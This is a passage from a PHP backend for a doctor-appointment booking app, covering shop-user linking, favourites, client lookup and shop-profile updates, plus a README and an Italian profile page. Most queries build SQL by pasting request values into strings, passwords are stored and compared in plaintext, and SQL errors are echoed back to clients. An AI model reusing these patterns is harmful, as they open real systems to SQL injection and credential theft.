$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select count(*) user_shop_map_count from $dbname.User_Shop_Map where shop_id=$shopid and user_id=$userid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$user_count=$row['user_shop_map_count'];
if($user_count==1){
$isUserAssociated=TRUE;
}
}
mysqli_close($conn);
return $isUserAssociated;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function linkUserWithShop($userid,$shopid){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.User_Shop_Map (shop_id,user_id,user_active_flag,is_shop_fav_flag) value($shopid,$userid,'Y','N')";
$result=mysqli_query($conn,$sql);
if($result){
updateUserStatus($userid,$conn,$dbname);
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function updateUserStatus($userid,$conn,$dbname){
try{
$sql="update $dbname.User_Details set user_status='Connected',update_date=now() where user_id=$userid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
}catch(Exception $e){
throw $e;
}
}
?><file_sep>/php/favouriteShop-app.php
<?php
header('Access-Control-Allow-Origin: *');
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id=stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$shop_id=stripslashes(htmlspecialchars(trim($_POST['shop_id'])));
$status=stripslashes(htmlspecialchars(trim($_POST['status'])));
makeShopFavourite($user_id,$shop_id,$status);
echo json_encode(['OPERATION'=>0]);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function makeShopFavourite($user_id,$shop_id,$status){
try{
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql = "update User_Shop_Map set Is_Shop_Fav_Flag = '$status' where Shop_ID = $shop_id and User_ID = $user_id;";
$result = mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
return $shopConnected;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/update-notification-date.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$shopid=$_SESSION['shopid'];
updateAppointmentStatus($shopid);
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function updateAppointmentStatus($shop_id){
try{
$dbname = DATABASE_NAME;
$updatedStatus="";
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="update $dbname.Shop_notify_settings set Last_notification_checked=NOW() where Shop_iD=$shop_id;";
$result=mysqli_query($conn,$sql);
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/getClientDetails.php
<?php
header('Access-Control-Allow-Origin: *');
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id = stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$clientdetails = findClientDetailsById($user_id);
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$clientdetails,'ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function findClientDetailsById($user_id){
try{
$clientdetails=array();
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select x2.user_id user_id, x2.user_qr_code , x2.user_first_name first_name,x2.user_last_name last_name,x2.user_login_mobile_no mobile_no,x2.User_email_id1 email_id from $dbname.User_Details x2 where x2.user_id = $user_id ";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$clientdetails['user_id']=$row['user_id'];
$clientdetails['first_name']=$row['first_name'];
$clientdetails['last_name']=$row['last_name'];
$clientdetails['mobile_no']=$row['mobile_no'];
$clientdetails['email_id']=$row['email_id'];
$clientdetails['qrcode']=$row['user_qr_code'];
}
mysqli_close($conn);
return $clientdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/README.md
# [Doctor Shop App](http://www.dappoint.com/shopapp/pages/login.html)
[Doctor Shop App](http://www.dappoint.com/shopapp/pages/login.html) is an backend system that manages doctor appointments efficently.It also serves as backend to its Android,Windows and IOS based mobile apps that are used by patients to book appoinment with doctor.
## Getting Started (Shop)
To begin using this application, First you need to register your shop with us.
Once your shop is configured by us,You will provided with a username and password to login our system.
Shop users will get following services
* Getting first hand information of patients using our mobile app using their unique barcode no
* Registering the patients with your shop after you have searched the patient using their barcode no
* We also provide registering patients who do not use our mobile app
* Scheduling a doctor appointment for the patient
* Single view to check your patient future appointment details,book new appointment,edit patient details
* Single view to provide appointment details of the day
* Edit your shop details
* Provide notifications to the shop in case a patient decided to postpone the appoitment
* Send notifications and sms alerts to patients regarding their appointment
## Getting Started (Patient)
Patients can download mobile app from Windows,IOS and Android store.
Patients can directly login to our system using their facebook or gmail account.In case you dont have one,
you can always register us by clicking on Register lin
Patient will get following service from our app
* Unique barcode no that can be used to get them registered our listed shop.Hasle free formless registration
process quickly gets you an appointment with doctor for consultation and necessary intervention.
* Get future appointment details from shop
* Get timely reminders for doctor appointment
* Quick access to doctor shop details that you are connected to
## Bugs and Issues
The application is under development
* IOS and Windows build are under progress.
* Notification using GCM and Apple server in progress.
* Facebook and gmail login in progress.
## Creator
Created by:
* <NAME>
* <NAME>
* <NAME>
## Copyright
@Copyright 2016-2017 reserved by creators of the project.
<file_sep>/php/update-shop-details.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$username=stripslashes(htmlspecialchars(trim($_POST['username'])));
$password=stripslashes(htmlspecialchars(trim($_POST['password'])));
$shop_name=stripslashes(htmlspecialchars(trim($_POST['shop_name'])));
$address=stripslashes(htmlspecialchars(trim($_POST['address'])));
$city=stripslashes(htmlspecialchars(trim($_POST['city'])));
$phone=stripslashes(htmlspecialchars(trim($_POST['Phone'])));
$web_page=stripslashes(htmlspecialchars(trim($_POST['web_page'])));
$facebook_page=stripslashes(htmlspecialchars(trim($_POST['facebook_page'])));
$open_hours=stripslashes(htmlspecialchars(trim($_POST['open_hours'])));
$open_hrs_2=stripslashes(htmlspecialchars(trim($_POST['open_hrs_2'])));
$notification_hr_1=stripslashes(htmlspecialchars(trim($_POST['notification_hr_1'])));
$notification_hr_2=stripslashes(htmlspecialchars(trim($_POST['notification_hr_2'])));
$sms_hr_1=stripslashes(htmlspecialchars(trim($_POST['sms_hr_1'])));
$description=stripslashes(htmlspecialchars(trim($_POST['description'])));
$default_description=stripslashes(htmlspecialchars(trim($_POST['default_description'])));
$sms_service="";
if(isset($_POST['sms_service'])){
$sms_service=stripslashes(htmlspecialchars(trim($_POST['sms_service'])));
}
if(empty($username)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","username",$validation_msg);
throw new Exception($final_message);
}
if(empty($password)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","password",$validation_msg);
throw new Exception($final_message);
}
if(empty($city)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","city",$validation_msg);
throw new Exception($final_message);
}
if(empty($address)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","address",$validation_msg);
throw new Exception($final_message);
}
if(empty($shop_name)){
$validation_msg=REQUIRED_FIELD_NULL;
$final_message=str_replace("{1}","shop_name",$validation_msg);
throw new Exception($final_message);
}
if(strlen($username)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","username",$validation);
throw new Exception($final_message);
}
if(strlen($password)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","password",$validation);
throw new Exception($final_message);
}
if(strlen($shop_name)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","shop_name",$validation);
throw new Exception($final_message);
}
if(strlen($address)>1000){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","address",$validation);
throw new Exception($final_message);
}
if(strlen($city)>50){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","city",$validation);
throw new Exception($final_message);
}
if(strlen($phone)>20){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","phone",$validation);
throw new Exception($final_message);
}
if(strlen($web_page)>200){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","webpage",$validation);
throw new Exception($final_message);
}
if(strlen($facebook_page)>200){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","facebook page",$validation);
throw new Exception($final_message);
}
if(strlen($open_hours)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","open hours",$validation);
throw new Exception($final_message);
}
if(strlen($open_hrs_2)>32){
$validation=FIELD_VALUE_LARGER_THAN_SUPPORTED;
$final_message=str_replace("{1}","open hours second line",$validation);
throw new Exception($final_message);
}
if (!empty($web_page) && !preg_match("/(?:http|https)?(?:\:\/\/)?(?:www.)?(([A-Za-z0-9-]+\.)*[A-Za-z0-9-]+\.[A-Za-z]+)(?:\/.*)?/im",$web_page)) {
throw new Exception(WEB_URL_NOTVALID);
}
//checking facebook url entered is valid or not
if(!empty($facebook_page) && !preg_match("/^(https?:\/\/)?(www\.)?facebook.com\/[a-zA-Z0-9(\.\?)?]/", $facebook_page)) {
throw new Exception(FB_URL_NOTVALID);
}
//checking if phone no entered is valid or not
if(!empty($phone)
&& !preg_match('/^[+0-9]+$/',$phone)){
throw new Exception(PHONE_SUPPLIED_NOT_VALID);
}
$filename=$_FILES["shop_photo"]["name"];
//get shop id from session
$shopid=$_SESSION['shopid'];
$shopdetails=getShopDetailsByShopID($shopid);
//update colums if $shopdetails array attribute does not match with the posted inputs
$dbname=DATABASE_NAME;
$isLoginDetailsChanged=false;
$basesqllogin="update $dbname.Login set";
if($username!=$shopdetails['username']){
$isUserPresent=checkIfChangedUsernameAlreadyRegistered($username);
if($isUserPresent){
throw new Exception(USERNAME_ALREADY_PRESENT);
}
$isLoginDetailsChanged=true;
$basesqllogin=$basesqllogin." login_username='$username',";
}
if($password!=$shopdetails['password']){
$isLoginDetailsChanged=true;
$basesqllogin=$basesqllogin." login_password='$<PASSWORD>',";
}
//to remove trailing , from sql fromed
$basesqllogin=substr($basesqllogin,0,strlen($basesqllogin)-1);
$basesqllogin=$basesqllogin." where login_username='{$shopdetails['username']}'";
if($isLoginDetailsChanged){
updateLoginDetails($basesqllogin);
}
$isShopDetailsChanged=false;
$baseShopDetailssql="update $dbname.Shop_Details set ";
if($shop_name!=$shopdetails['shop_name']){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." shop_name1='$shop_name',";
}
if($address!=$shopdetails['shop_address']){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." shop_address='$address',";
}
if($city!=$shopdetails['shop_city']){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." shop_city='$city',";
}
if($phone!=$shopdetails['shop_phone']){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." shop_phone1='$phone',";
}
if($web_page!=$shopdetails['shop_web']){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." shop_web_page='$web_page',";
}
if($facebook_page!=$shopdetails['fb_page']){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." Shop_FB_Page='$facebook_page',";
}
if($open_hours!=$shopdetails['open_hrs']){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." Shop_Open_Hrs='$open_hours',";
}
if($open_hrs_2!=$shopdetails['open_date']){
$baseShopDetailssql=$baseShopDetailssql." Shop_Open_Dt='$open_hrs_2',";
}
if(!empty($description)){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." shop_desc='$description',";
}
if(!empty($default_description)){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." shop_default_desc='$default_description',";
}
if($sms_service==""){
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." sms_service_status='N',";
}else{
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." sms_service_status='Y',";
}
if(!empty($filename) && $filename!=substr($shopdetails['image_url'],strrpos($shopdetails['image_url'],"/")+1,strlen($shopdetails['image_url'])) ){
//uploading new file
$imageFileType = pathinfo($filename,PATHINFO_EXTENSION);
$checkimage = getimagesize($_FILES["shop_photo"]["tmp_name"]);
$allowedtypes=array(IMG_GIF,IMG_JPEG,IMG_PNG);
//echo var_dump($checkimage);
if(!in_array($checkimage[2],$allowedtypes)){
throw new Exception(NOT_SUPPORTED_FILE_TYPE);
}
if($imageFileType != "gif" && $imageFileType != "jpg" && $imageFileType != "jpeg" && $imageFileType != "png"){
throw new Exception(NOT_SUPPORTED_FILE_TYPE);
}
if($_FILES["shop_photo"]["size"]>500000) {
throw new Exception(NOT_PERMITTED_FILE_SIZE);
}
$uploadfolderbasefilename="{$_SERVER['DOCUMENT_ROOT']}/shopapp/upload/$username/";
if(!file_exists($uploadfolderbasefilename)){
mkdir($uploadfolderbasefilename);
}
$targetfile=$uploadfolderbasefilename.basename($_FILES["shop_photo"]["name"]);
if(file_exists($targetfile)) {
throw new Exception(FILE_EXISTS);
}
$checkupload=move_uploaded_file($_FILES["shop_photo"]["tmp_name"], $targetfile);
if(!$checkupload){
throw new Exception(UPLOAD_FAIL);
}
$isShopDetailsChanged=true;
$baseShopDetailssql=$baseShopDetailssql." shop_img_url='$targetfile',";
}
$baseShopDetailssql=substr($baseShopDetailssql,0,strlen($baseShopDetailssql)-1);
$baseShopDetailssql=$baseShopDetailssql." where shop_id=$shopid";
if($isShopDetailsChanged) {
updateShopDetails($baseShopDetailssql) ;
}
$isShopNotifyDetailsChanged=false;
$baseShopNotifySettingsql="update $dbname.Shop_notify_settings set ";
if($notification_hr_1!=$shopdetails['notify_hr1']){
$isShopNotifyDetailsChanged=true;
$baseShopNotifySettingsql=$baseShopNotifySettingsql." Push_first_notify_hr=$notification_hr_1,";
}
if($notification_hr_2!=$shopdetails['notify_hr2']){
$isShopNotifyDetailsChanged=true;
$baseShopNotifySettingsql=$baseShopNotifySettingsql." Push_second_notify_hr=$notification_hr_2,";
}
if($sms_hr_1!=$shopdetails['sms_notify_hr']){
$isShopNotifyDetailsChanged=true;
$baseShopNotifySettingsql=$baseShopNotifySettingsql." sms_notify_hr=$sms_hr_1,";
}
$baseShopNotifySettingsql=substr($baseShopNotifySettingsql,0,strlen($baseShopNotifySettingsql)-1);
$baseShopNotifySettingsql=$baseShopNotifySettingsql." where shop_id=$shopid";
if($isShopNotifyDetailsChanged){
updateShopNotifySettings($baseShopNotifySettingsql);
}
$shopdetailsChanged=getShopDetailsByShopID($shopid);
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$shopdetailsChanged,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function updateLoginDetails($sql){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function updateShopDetails($sql){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function updateShopNotifySettings($sql){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function checkIfChangedUsernameAlreadyRegistered($username){
try{
$isuserpresent=false;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select count(*) user_count from $dbname.Login where login_username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$usercount=$row['user_count'];
if($usercount==1){
$isuserpresent=true;
}
}
mysqli_close($conn);
return $isuserpresent;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function getShopDetailsByShopID($shopid){
try{
$userid=-1;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$shopdetails=array();
$sql="select x.Login_Username username,x.Login_Password <PASSWORD> ,x1.Shop_Name1 shop_name,x1.Shop_Name2 shop_description,x1.Shop_Address shop_address ,x1.Shop_City shop_city,x1.Shop_Phone1 shop_phone,x1.Shop_Web_Page shop_web,x1.Shop_FB_Page fb_page,x1.Shop_Open_Hrs open_hrs,x1.Shop_Open_Dt open_date,x1.Shop_img_url image_url,x1.shop_type account_type,x1.sms_service_status sms_status,x2.SMS_Current sms_remaining,x1.shop_desc description,x1.shop_default_desc default_description,x3.Push_first_notify_hr notify_hr1,x3.Push_second_notify_hr notify_hr2,x3.Sms_notify_hr sms_notify_hr from $dbname.Login x,$dbname.Shop_Details x1 ,$dbname.SMS_Table x2 ,$dbname.Shop_notify_settings x3 where x.Login_ID=x1.Shop_Login_ID and x1.Shop_ID=x2.Shop_ID and x1.Shop_ID=x3.Shop_ID and x1.Shop_ID=$shopid";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$shopdetails['username']=$row['username'];
$shopdetails['password']=$row['<PASSWORD>'];
$shopdetails['shop_name']=$row['shop_name'];
$shopdetails['shop_description']=$row['shop_description'];
$shopdetails['shop_address']=$row['shop_address'];
$shopdetails['shop_city']=$row['shop_city'];
$shopdetails['shop_phone']=$row['shop_phone'];
$shopdetails['shop_web']=$row['shop_web'];
$shopdetails['fb_page']=$row['fb_page'];
$shopdetails['open_hrs']=$row['open_hrs'];
$shopdetails['open_date']=$row['open_date'];
$shopdetails['image_url']=$row['image_url'];
$shopdetails['sms_remaining']=$row['sms_remaining'];
$shopdetails['notify_hr1']=$row['notify_hr1'];
$shopdetails['notify_hr2']=$row['notify_hr2'];
$shopdetails['sms_notify_hr']=$row['sms_notify_hr'];
$shopdetails['account_type']=$row['account_type'];
$shopdetails['image_url']=$row['image_url'];
$shopdetails['description']=$row['description'];
$shopdetails['default_description']=$row['default_description'];
$shopdetails['sms_status']=$row['sms_status'];
}
mysqli_close($conn);
return $shopdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/pages/my-profile.php
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
try{
$shopid=$_SESSION['shopid'];
if(empty($shopid)){
header("Location: login.html");
}
}
catch(Exception $e){
header("Location: login.html");
}
?>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Doctor's App</title>
<!-- Bootstrap Core CSS -->
<link href="../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="../vendor/metisMenu/metisMenu.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../dist/css/sb-admin-2.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="../vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="../css/bootstrap-toggle.min.css" rel="stylesheet">
<style>
.toggle.ios, .toggle-on.ios, .toggle-off.ios { border-radius: 20px; }
.toggle.ios .toggle-handle { border-radius: 20px; }
</style>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="wrapper">
<!-- Navigation -->
<!-- Page Content -->
<div id="page-wrapper" >
<div class="row" style="margin-left:10px;">
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="new-client.php">Nuovo Cliente</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="client-list.php">Elenco clienti</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="activityoftoday.php">Attivitá di oggi</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="my-profile.php">ll mio profilo</a>
</li>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<li>
<a href="client-message.php">Messaggi dai clienti <span id="notification_count" class="badge" style="background-color:#C0392B;"></span></a>
</li>
</div>
<div class="col-lg-1 col-md-1 col-sm-1 col-xs-1">
<li>
<a href="../php/logout.php"><i class="fa fa-power-off fw"></i></a>
</li>
</div>
</div>
<div class="h-divider">
</div>
<div class="row" style="margin-top:20px;">
<form role="form" id="myprofile" class="form-horizontal" method="post" enctype="multipart/form-data">
<div class="col-lg-12 col-md-12 col-xs-12 col-sm-12 nopadding" >
<div class="col-lg-7 col-md-7 col-sm-7 col-xs-7 nopadding">
<div class="form-group" id="usernamegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Username*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" name="username" id="username" placeholder="Username" class="form-control"></div>
</div>
<div class="form-group" id="passwordgroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Password*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" name="password" id="password" placeholder="<PASSWORD>" class="form-control">
</div>
</div>
<div class="form-group" id="shopnamegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Nome dell' áttivitá:*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" name="shop_name" id="shop_name" placeholder="Name of the shop" class="form-control">
</div>
</div>
<div class="form-group"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Descrizione</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" name="description" id="description" placeholder="Description of the activity" class="form-control">
</div>
</div>
<div class="form-group" id="addressgroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Indirizzio dell' attivitá*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" name="address" id="address" placeholder="Address of the shop" class="form-control">
</div>
</div>
<div class="form-group" id="citygroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Cittá*</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" class="form-control" placeholder="City" name="city" id="city"></div>
</div>
<div class="form-group" id="phonegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Telefono</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" class="form-control" placeholder="Telephone Number" name="Phone" id="phone"></div>
</div>
<div class="form-group" id="webpagegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Sito Web</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" class="form-control" placeholder="Web Site" name="web_page" id="web_page"></div>
</div>
<div class="form-group" id="fbpagegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Pagina Facebook</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" placeholder="Facebook page" name="facebook_page" id="facebook_page" class="form-control" ></div>
</div>
<div class="form-group"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Orari de apertura</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" placeholder="Opening time" name="open_hours" id="open_hours" class="form-control" ></div>
</div>
<div class="form-group"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Seconda linea orari</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8"><input type="text" placeholder="Second line opening time" name="open_hrs_2" id="open_hrs_2" class="form-control" ></div>
</div>
</div>
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-4" style="margin-left:10px;">
<div class="form-group" style="padding-right:0px;padding-top:0px;padding-bottom:0px;margin-right:0px;margin-top:0px;margin-bottom:0px;" >
<label>Uploaded images</label>
</div>
<img alt="image" id="shop_image" style="width:100px;" src="../image/default_profile.png"/>
<div class="form-group" style="padding-right:0px;padding-top:0px;padding-bottom:0px;margin-right:0px;margin-top:0px;margin-bottom:0px;">
<label>Add images</label>
</div>
<div class="form-group">
<input type="file" id="shop_photo" name="shop_photo">
</div>
<div class="form-group"><label>Testo degli appuntamenti:</label>
<div ><input type="text" placeholder="Description of the activity(of default)" name="default_description" id="default_description" class="form-control" ></div>
</div>
<div class="form-group" style="padding-right:0px;padding-top:0px;padding-bottom:0px;margin-right:70px;margin-top:0px;margin-bottom:0px;"><label>Servizio SMS ai clienti:</label>
<input type="checkbox" id="sms_service" name="sms_service" checked data-on="on" data-off="off" data-toggle="toggle" data-onstyle="success" data-size="mini" data-style="ios" value="checked"/>
</div>
<div class="form-group" style="padding-right:0px;padding-top:0px;padding-bottom:0px;margin-right:0px;margin-top:0px;margin-bottom:0px;"><label style="margin-top:0px;">Total SMS rimasti:</label>
<label class="text-success" style="margin-top:0px;margin-left:70px;"><h4 id="sms_remaining"></h4></label>
</div>
<div class="form-group"><label>Primo avviso:</label>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6 pull-right">
<select class="input-sm form-control input-s-sm inline" style="background: gainsboro;" id="notification_hr_1" name="notification_hr_1">
<option value="2">2</option>
<option value="6">6</option>
<option value="12">12</option>
<option value="24">24</option>
</select>
</div>
</div>
<div class="form-group"><label>Secondo avviso:</label>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6 pull-right">
<select class="input-sm form-control input-s-sm inline" style="background: gainsboro;" id="notification_hr_2" name="notification_hr_2">
<option value="0">---</option>
<option value="2">2</option>
<option value="4">4</option>
<option value="6">6</option>
</select>
</div>
</div>
<div class="form-group"><label>Avviso tramite SMS:</label>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6 pull-right ">
<select class="input-sm form-control input-s-sm inline" style="background: gainsboro;" id="sms_hr_1" name="sms_hr_1">
<option value="2">2</option>
<option value="6">6</option>
<option value="12">12</option>
<option value="24">24</option>
</select>
</div>
</div>
<div class="form-group" style="padding-right:0px;padding-top:0px;padding-bottom:0px;margin-right:0px;margin-top:0px;margin-bottom:0px;">
<label><small>Gli SMS verranno inviati solo se l'utente non conferma tramite l'app.</small></label>
</div>
<div class="form-group">
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-4">
<button type="submit" id="updateprofile" class="btn btn-primary">Aggiorna profilo</button>
</div>
</div>
</div>
</div>
</form>
</div>
<!-- /.container-fluid -->
<!-- /#page-wrapper -->
</div>
</div>
<!-- /#wrapper -->
<div class="modal modal-lg modal-md modal-sm modal-xs" id="messagemodal" role="dialog" style="margin-top:200px;margin-left:200px;">
<div class="modal-dialog">
<div class="modal-content" style="background-color:gainsboro">
<div class="modal-body" >
<div id="success">
<h6 id="reason" style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i>Data inserted successfully</h6>
</div>
<div id="error">
</div>
</div>
<button type="button" id="dismiss_error" class="btn btn-md btn-primary" style="margin-left:260px;margin-bottom:20px;" data-dismiss="modal">Close</button>
